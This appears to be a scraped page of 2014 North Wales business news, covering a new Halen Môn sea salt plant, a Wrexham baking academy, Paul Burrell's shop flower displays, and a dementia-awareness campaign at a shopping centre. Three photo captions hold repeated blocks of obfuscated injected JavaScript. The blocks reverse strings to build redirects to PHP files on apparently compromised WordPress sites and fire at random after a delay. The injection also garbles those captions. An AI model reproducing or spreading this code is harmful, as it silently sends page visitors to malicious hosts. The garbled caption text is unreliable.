Category: News

Iconic Welsh food producer Halen Mon to get a £1 million new home

Anwyl and Halen Mon sea Salt on Anglesey. Pictured is David Lea-Wilson with Tom Anwyl.

Work has started on a £1million new home for iconic Welsh food producer Halen Môn Anglesey Sea Salt.

Award-winning builders Anwyl Construction will complete the state of the art new production plant and visitor centre before the end of the year, ready for production to start in January 2015.

The new Salt Cote – traditionally a coastal reservoir for the production of salt – will create at least five new jobs, taking the workforce from 17 to 22, and aims to attract 20,000 visitors a year.

The current salt cote will continue to make the world famous sea salt in the meantime – just as well with a client list that includes President Barack Obama’s White House and celebrity chef Heston Blumenthal’s Fat Duck restaurant.

Both are fans of the rare white crystalline sea salt which was this year the first Welsh food product to gain European Union Protected Designation of Origin and join the likes of Champagne and Parma ham in having its name in the EU’s food hall of fame.

The new 1,000 square metre building, single-storey, low and unobtrusive will be a steel-framed construction of composite structural insulated panels clad with specially selected Welsh larch.

It will replace the prefabricated former doctor’s surgery and food grade portacabins which have done duty as office and production facilities for the last seven years and from where the pristine white sea salt has been shipped to Japan, the United Arab Emirates and South Korea as well as the USA and Europe.

It’s graced the tables of El Bulli, the Catalan restaurant which was named best in the world, the Mandarin Oriental Hotel in Hong Kong, the Michelin-starred Tyddyn Llan, near Corwen, and the Smoked Sea Salt Caramel Milk Chocolates made by Fran Bigelow of Fran’s Chocolates in Seattle and the favourites of President Obama.

Anwyl are due to hand over the building on December 15 and after a fortnight shutdown to transfer the business, lock, stock and barrel, the intake pipe out in the Menai Straits will start pumping the sea water to the new salt cote – with the visitor facilities opening before Easter 2015.

Anwyl Construction Director Tom Anwyl said: “We’re very excited about the project and about playing a part in the continued success of this world famous product.

“It’s an interesting build because the steel-frame will have to be of very high quality steel and great care also has to be taken with all the building materials because salt has such corrosive properties.

“We’re pleased to have won the contract as a North Wales company and we do have a commitment to using locally-based sub-contractors and supply chains and in this case just about everyone working on the build will be from North Wales.

“That’s important to us here and elsewhere because it helps guarantee a strong and skilled workforce with the capability to carry out projects like this.”

As well as a production facility the new building will also incorporate a visitor tour as a new venture, with the entire project overseen by local company Advent Project Management Ltd.

This will be a return to their roots for David and Alison Lea-Wilson as they also developed the successful tourist business Anglesey Sea Zoo over a 23 year period which they sold on to a former member of staff to focus on growing Halen Môn but which continues to thrive next door.

Anglesey Sea Zoo attracts 100,000 visitors a year and Halen Môn currently welcomes around 10,000 and David hopes this will double next year.

The new facilities will also guarantee they can maintain current production levels of half a million packs of sea salt a year with the capacity to increase that significantly.

The £1.15 million total cost to Halen Môn has been helped so far by grants totalling about 20 per cent, with £100,000 from the Welsh Government’s Wales Economic Growth Fund, a £95,000 capital grant from the Coastal Community Heritage Lottery fund and £25,000 from Anglesey’s Area of Outstanding Beauty Sustainability fund.

David said: “We’re expanding because we’ve had to. We’re very busy and the old buildings have really reached the end of their useful life and we needed somewhere else to expand into.

“We’re really, really pleased to have Anwyl Construction, a North Wales firm, as the main contractor. We know we will get a quality building from them, using local skills and materials.

“We have been planning this major development since before 2008 and it is only possible now thanks to a huge co-ordinated effort by a large number of people and organisations who we want to thank – not forgetting our fantastic customers across Wales and the world who ensure that we provide a quality sustainable product.”

Alison added “We get so many people who call and want to see what we do so it makes sense to have a visitor centre here.

“This is the next stage in the growth of the business and it will add something totally new because next year when people ask us if they can have a look round we want to be able to say yes.

“We are exporting our range of products all over the world now and we need the extra capacity so as to be able to fulfil increases in demand and continue to diversify into new areas.

“The new European designation also means that people can’t copy our product – it means Halen Môn Anglesey Sea Salt has to be made here with sea water from the Menai Straits.

“We extract it from the middle of a rising tide because that’s when the salinity is highest and the only other ingredients are heat, about ten per cent of it supplied by solar panels, and the care and hard work of our artisan salt makers.”

The cladding for the building is heat-treated Welsh larch from a Mid Wales sawmill which David has personally selected with the help of Menter Môn  and their wood team and he added: “It’s important to us that we use Welsh suppliers wherever possible and this order for over 500 square metres of cladding has safeguarded jobs at the sawmill.”

Thursday July 17th, 2014

News

Wrexham Baking Academy project on a roll as construction work starts

Village Bakery on Wrexham Industrial Estate. Minister Lesley Griffiths cuts first sod for Baking Academy.Pictured: Lesley Griffiths; Daryl Fountain (Engineering Apprentice); Justin Webb (Bakery Apprentice); Matty Owens (Baking Manager); Lauren Roberts (HR) and Christien Jones (Projects Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}tor).

Work has started on a new £3 million baking academy that will generate 30 jobs during the construction phase.

The academy will be the first of its kind in the UK and is being built by the Village Bakery next to their two bakeries on Wrexham Industrial Estate.

The state-of-the-art facility will have a gym and rooftop canteen and terrace for staff as part of the family firm’s drive to recruit and retain staff.

The scheme also includes office space and an innovation centre to develop and perfect new products.

The contract to build the four storey, 26,000 sq ft centre of excellence has been won by award-winning Anwyl Construction, who are based in Rhyl.

The first sod was cut by local AM Lesley Griffiths, who is also Minister for Local Government and Government Business, and the centre should be up and running early next year.

Last year the Village Bakery – which employs 300 people and also has a bakery in Minera – was crowned Wales’s fastest growing company and the aim is to train the next generation of bakers to cater for future expansion plans.

Ms Griffiths said: “The plans for the Baking Academy and Innovation Centre are very impressive and once again the Village Bakery are ahead of the curve. They are very much a role model for industry in Wales.

“What I like about the Village Bakery is that they’re a family business and they’ve stayed true to their traditions as craft bakers whilst using cutting edge technology and the best equipment to develop high quality products.

“We really need our young people to have skills that will let them have a really great job and a good career and being a baker is an excellent career.

“I am very proud to have the Village Bakery in my constituency – they’re flying the flag for Wales in general and Wrexham in particular.

“What they’re doing is a perfect fit with the Welsh Government’s ambitions for the food and drinks industry.”

Village Bakery director Christien Jones said: “We have chosen a local family business, Anwyl Construction, who have a brilliant reputation and we’re delighted that it means our new Baking Academy is to going to be built by Welsh builders.

“The main function of the building will be to train our bakers and apprentices. There will be lecture rooms and a lecture theatre that holds more than 100 people. Our technical and commercial teams will also be based there.

“The facilities will also be available to our customers. We can show them how to bake our products in their stores and they can hold regional meetings there.

“There will be a gym for our staff, a rooftop canteen and terrace for them to relax when they’re on a break. There will also be quiet rooms where people can go to read.

“We have designed it to give our staff some extra benefits from working at the Village Bakery. All members of staff can have a hot meal during their shift.

“We want to give our staff the best to set us apart from other local employers which will help recruitment.

“We are a family firm and treating our staff well is part of our DNA. We want to go that extra mile and make the Village Bakery a better place to work.

“Training our own staff has always been a strength of ours – we then make sure we have staff who buy in to the Village Bakery culture.

“We are family focused, people focused and most of our managers and supervisors are Village Bakery people who have come up through the ranks.

“We have enjoyed some excellent, sustainable growth and we have a brilliant team on all three sites which gives us the confidence to go from strength to strength.”

It was music to the ear of apprentice baker Justin Webb, 21, who said: “There’s a massive emphasis on training here. Most of our managers are home grown.  They’ve come through the same system as I have and they’ve been successful and that’s an inspiration to me.”

HR assistant Lauren Roberts 24, was given a full-time job after impressing bosses during a 10-week Go Wales placement.

She said: “It’s a really friendly, family orientated place to work but at the same time it’s a really go-ahead company.”

Anwyl Construction Director Tom Anwyl said: “This is a ground-breaking and innovative project and we’re delighted to have been chosen to carry it out.

“Village Bakery is a major North Wales business success story and we’re pleased that they have chosen a local firm for this very important build.

“It shows that here in North Wales we have the capability to carry out major schemes and it means that we are now involved in over £20 million of new projects in the area this year.

“We always strive to use locally-based sub-contractors and supply chains and in this case just about everyone working on the build will be from North Wales.

“We are also committed to providing apprenticeships and that’s important to us here and elsewhere because it helps guarantee a strong and skilled workforce with the capability to carry out projects like this.”

Wednesday July 16th, 2014

News

Princess Diana’s ex butler brings royal flower power to jewellery store

Paul Burrell delivers flowers $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}to Mococo at Eagles Meadow, Wrexham with Elise Daniels

Princess Diana’s ex butler is bringing some royal flower power to a fashion jewellery store – after turning down the opportunity to work for Hollywood Tom Cruise or Tom Hanks.

Paul Burrell, who was butler and “rock” to the late Princess of Wales for 10 years and a footman to the Queen for 11 years, arranges the flowers at Mococo at Eagles Meadow shopping centre in Wrexham every week.

He set up his business Paul Burrell Flowers, which is based in Farndon, Cheshire, in 1999 with £50,000 left to him by the princess in her will.

Father-of-two Paul who also has a home in Orlando, Florida, said: “Every display that I do for Mococo is individual and tailored for them. I always do something tall and showy because it sits on the counter at the back of the store. It’s always something a little bit dramatic, always something colourful. Pinks and lilacs go very well in this atmosphere.

“I love the team at Mococo, they’re incredible. They always give me a warm welcome and there are always smiles. I look forward to bringing my flowers here and I look forward to delivering my flowers to people’s doorsteps to see the smiles. It’s fun job. It’s not really work to be honest.

“What is wonderful about that jewellery is you can customise it for any occasion so make it personal to you which relates to my philosophy with the flowers, to give it a meaning and that’s very important.”

Mococo assistant manager Andrea Harley, said: “I think Paul’s flowers are absolutely gorgeous. He brings different themes in every week but it always goes with the colour in the store. It definitely helps brighten the place up.”

Paul revealed he misses Princess Diana to this day.

He said: “The princess left me a legacy in her will, and I was the only person other than William and Harry to be left anything. She left me a sum of money which I bought my little flower shop with. So in death she gave me a way forward and a wonderful opportunity to carry on with my life.

“I decided not to go and look after someone else although I had offers from Tom Hanks, and Mel Gibson and Tom Cruise. They all wanted me to go to their homes in Los Angeles and New York.”

He said: “I think missing someone when they’ve passed is part of all our lives. The princess was my friend and I was her confidant and one of the closest people to her other than William and Harry.

“I loved her as a sister and a friend and a boss, and I miss her, but life goes on. When you lose someone that close to you, you don’t actually say goodbye to them. I believe you carry a piece of them with you for the rest of your life.”

Paul’s eldest son Alexander who works as a soccer coach in the US for Florida Rush recently visited the store with his Colombian fiancé Mindy.

Mindy, who is a trainee nurse, bought a Thomas Sabo pearl bracelet with three charms.

Describing the bracelet Paul, said: “It has an A for Alexander an M for Mindy and a little heart that had a union jack in the middle which is a nice memento of their trip to the UK.

“Mindy’s weekend job is inside the costume of Mini Mouse in Disney World so you now know how tall she is.

“She’s a tiny little doll. Only tiny people can fit inside those costumes. They’re no more than five foot tall.”

Paul, who grew up in a poor coal-mining community in Grassmoor, Derbyshire, was trained by the court florist while he served the Queen at Buckingham Palace.

He said: “My favourites have been influenced by Princess Diana’s favourites and the Queen’s favourites.

“Diana loved roses and she particularly liked yellow roses, and in her room she liked scented flowers.

“The Queen’s favourite flower is lily of the valley so I made sure she had a small pot of it on her desk when it was in season and primroses at Easter time.

“The style and the shape of the flowers and the colours are very important. I like to use lots of foliage. My favourite flowers are scented. I love English roses.”

When Paul isn’t tending to his flower shop he is often jetting all over the world.

He said: “I’m always being offered proposals to appear on TV shows worldwide.

“I regularly go on visits to China. The Chinese fascinated by western culture so I do seminars on etiquette and manners – everything from table setting to how to serve food properly. I’ve also done work for British Airways and other corporates.

“But I love having the flower shop because it keeps me grounded because it reminds me that we are all here treading the same path. Some have more money, have titles, but it doesn’t really matter at the end of the day.

“One of the princesses’ favourite sayings was all our souls weight the same.”

Wednesday July 16th, 2014

News

On a mission to be first dementia friendly shopping centre in Wales

Anita Moran from Pendine visits Eagles Meadow in Wrexham $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}to raise awareness of The Purple Angel, the charity for Dementia. Pictured: Anita Moran along with  Kenny Kempster from Odeon, Owen Ward from Debenhams, Peter Cross from Frankie & Benny's, and Kevin Critchley Eagles Meadow Centre Manager

A community spirited shopping centre is on a mission to be the first dementia friendly precinct in Wales.

Staff at Eagles Meadow shopping centre, Wrexham, are getting behind the Purple Angel dementia awareness campaign.

They are going to be trained by Purple Angel ambassador, Anita Moran, who is an Activities and Well-being Coordinator at the Pendine Park care organisation.

She was inspired to join the Purple Angels campaign by the experience of her late father Barry who had dementia.

Major players like Odeon cinema, Debenhams, and Frankie and Benny’s have already thrown their weight behind the scheme.

Eagles Meadow is the latest in a string of heavyweight backers of the campaign, including Pendine Park care organisation, Coleg Cambria and Glyndwr University, Wrexham MP Ian Lucas, and Wrexham AM Lesley Griffiths.

The aim is to raise awareness with local shops and other businesses, providing them with a simple training manual so that they are better equipped to recognise the symptoms of dementia and respond accordingly.

Businesses that sign up to the scheme will then display posters and stickers with the Purple Angel logo to signify that they are dementia aware.

Anita is delighted with the enthusiasm show by the staff at the shopping centre for the Purple Angel campaign.

She said: “I think Eagles Meadow getting behind this is fantastic. I can’t believe it. They’re really up for it, it’s amazing.

“If we can get the whole of the shopping centre on board, then that’s a big part of Wrexham. In the five years it’s been here it’s become an integral part of the town.

“To me this is like the hub of the town now. You meet friends here have coffee, do your shopping, go to the cinema. This is a massive step on the way to making Wrexham a dementia friendly town.”

Eagles Meadow shopping centre manager Kevin Critchley is an enthusiastic supporter of the Purple Angel campaign.

He said: “I think it’s a superb and wonderful campaign.

“It’s a growing problem in our society and we need to learn to deal with it, and we need to remember that people who are suffering from dementia are ill.

“They deserve our help and by the same token they’re also member of the community and important people for us to deal with as a shopping centre and as people.

“I think the absolute wrong approach is to just pretend it isn’t there because it’s not going to go away.

“The beauty of this campaign is it’s very simple.

“Someone suffering from dementia can at times appear to have too much to drink or be on drugs or something like that, where as in fact they’re obviously not. They just need a bit of help and a bit of understanding.

“The first step of that is being aware of the problem.

“A lot of people at the shopping centre are already getting behind this. Wrexham in general and certainly the centre in particular is a very friendly place anyway.

“We have a good reputation for customer service and that’s because the people who work here are part of the community. So the chances are the person we’re going to be dealing with is going to be somebody’s mum or dad or aunty or uncle.

“I think we should treat everybody the same way we’d want our parents and other relatives to be treated, and this campaign will help us to do that.”

Odeon cinema assistant manager Kenny Kempster added: “It’s really good that the shopping centre is getting behind the Purple Angel campaign.

“It’s a fantastic opportunity for us to be the first dementia friendly shopping centre in Wales, and I think it’s good for the town as well.

“Eagles Meadow getting behind it adds a lot of weight to the campaign. There are some of the major players in retail in the UK and one of the biggest cinema chains in the UK based here.”

To find out more about the Purple Angels campaign please visit http://www.purpleangel.org.uk or contact Anita Moran at Pendine Park on 01978 720242.

Wednesday July 16th, 2014

News